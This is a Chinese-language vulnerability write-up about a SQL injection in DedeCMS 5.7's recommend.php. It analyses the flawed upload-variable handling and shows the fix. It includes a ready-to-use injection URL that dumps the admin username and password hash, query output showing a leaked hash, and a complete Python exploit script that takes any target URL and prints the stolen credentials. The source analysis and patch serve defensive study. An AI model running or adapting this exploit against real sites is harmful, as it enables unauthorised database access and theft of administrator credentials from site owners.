[利用]: http://p2j.cn/?p=798
[补丁]: http://www.dedecms.com/pl/#u20140228_5
---------------------------------------------------------------------------------------------------------------------
网络上公布的原始poc格式如下:
http://127.0.0.1/dedecms5.7/plus/recommend.php?&aid=1&_FILES[type][tmp_name]=\%27%20%20or%20mid=@%60\%27%60%20/*!50000union*//*!50000select*/1,2,3,%28select%20%20CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60%20limit+0,1%29,5,6,7,8,9%23@%60\%27%60+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111
注入成功,等效于执行下面代码:
mysql> SELECT s.*,t.* FROM
-> `dede_member_stow` AS s LEFT JOIN
-> `dede_member_stowtype` AS t ON s.type=t.stowname
-> WHERE s.aid='1'
-> AND s.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` ';
-> ;
+----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+
| id | mid | aid | title | addtime | type | stowname | indexname | indexurl |
+----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+
| 1 | 2 | 3 | |admin|f297a57a5a743894a0e4 | 5 | 6 | 7 | 8 | 9 |
+----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+
1 row in set (0.01 sec)
/*!50000union*/ 表示若mysql版本高于5.0.0,则执行union操作.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
下面分析以引起问题的源码,./include/uploadsafe.inc.php
$_value)
{
foreach($keyarr as $k)
{
if(!isset($_FILES[$_key][$k]))
{
exit('Request Error!');
}
}
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
exit('Request var not allow for uploadsafe!');
}
// DedeCMS全版本通杀SQL注入
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
// ----- 修复后, 如下: -----
// $$_key = $_FILES[$_key]['tmp_name'];
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
if(empty(${$_key.'_size'}))
{
${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
}
?>
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
common.inc.php 定义函数_RunMagicQuotes ,foreach(Array('_GET','_POST','_COOKIE') as $_request) 处_RunMagicQuotes被调用,如下所示
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) )
{
exit('Request var not allow!');
}
}
}
//var_dump($_REQUEST);exit;
CheckRequest($_REQUEST);
CheckRequest($_COOKIE);
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
}
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
// ----- 修复后, 如下: -----
// $$_key = $_FILES[$_key]['tmp_name'];
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
+++++++++++++++++++++++++++++++++++++++++++++++++++++
python - POC 利用程序如下:
#!/usr/bin/env python
import urllib2
import re
import sys
def banner():
print >>sys.stderr,'\n++++++++++++++++++++++++++++++++++++++++++++++++++++++'
print >>sys.stderr,'[POC] : DedeCMS 5.7 /plus/recommend.php SQL Injection'
print >>sys.stderr,'[URL] : http://sebug.net/vuldb/ssvid-61660'
print >>sys.stderr,'[patch]: http://www.dedecms.com/pl/#u20140228_5'
print >>sys.stderr,'[Usage]: %s http://path/to/dederoot/' % sys.argv[0]
print >>sys.stderr,'++++++++++++++++++++++++++++++++++++++++++++++++++++++'
def sqli_exp(url):
poc = [
"/plus/recommend.php?",
"&aid=1",
"&_FILES[type][tmp_name]=",
"\%27%20%20or%20mid=@%60\%27%60%20",
"/*!50000union*//*!50000select*/1,2,3,%28select%20%20CONCAT%280x7c,userid,0x7c,pwd,0x7c%29+from+%60%23@__admin%60%20limit+0,1",
"%29,5,6,7,8,9%23@%60\%27%60+",
"&_FILES[type][name]=1.jpg",
"&_FILES[type][type]=application/octet-stream",
"&_FILES[type][size]=111"
]
url += "".join(poc)
req = urllib2.urlopen(url,data=None, timeout=7)
response = req.read()
matches = re.search(r'\xe6\x8e\xa8\xe8\x8d\x90\xef\xbc\x9a|(.*)
', response, re.M|re.I)
if ("SRE_Match" in str(type(matches))):
data = matches.group().split('|')
user = data[1]
pwd = data[2]
print "user: %s \npass: %s \n" % (user, pwd)
if __name__ == '__main__':
banner()
if len(sys.argv) == 2:
print >>sys.stderr,"[+] exploit - %s" % sys.argv[1]
sqli_exp(sys.argv[1])
+++++++++++++++++++++++++++++++++++++++++++++++++++++
http://loudong.360.cn/blog/view/id/17
http://www.freebuf.com/tools/27206.html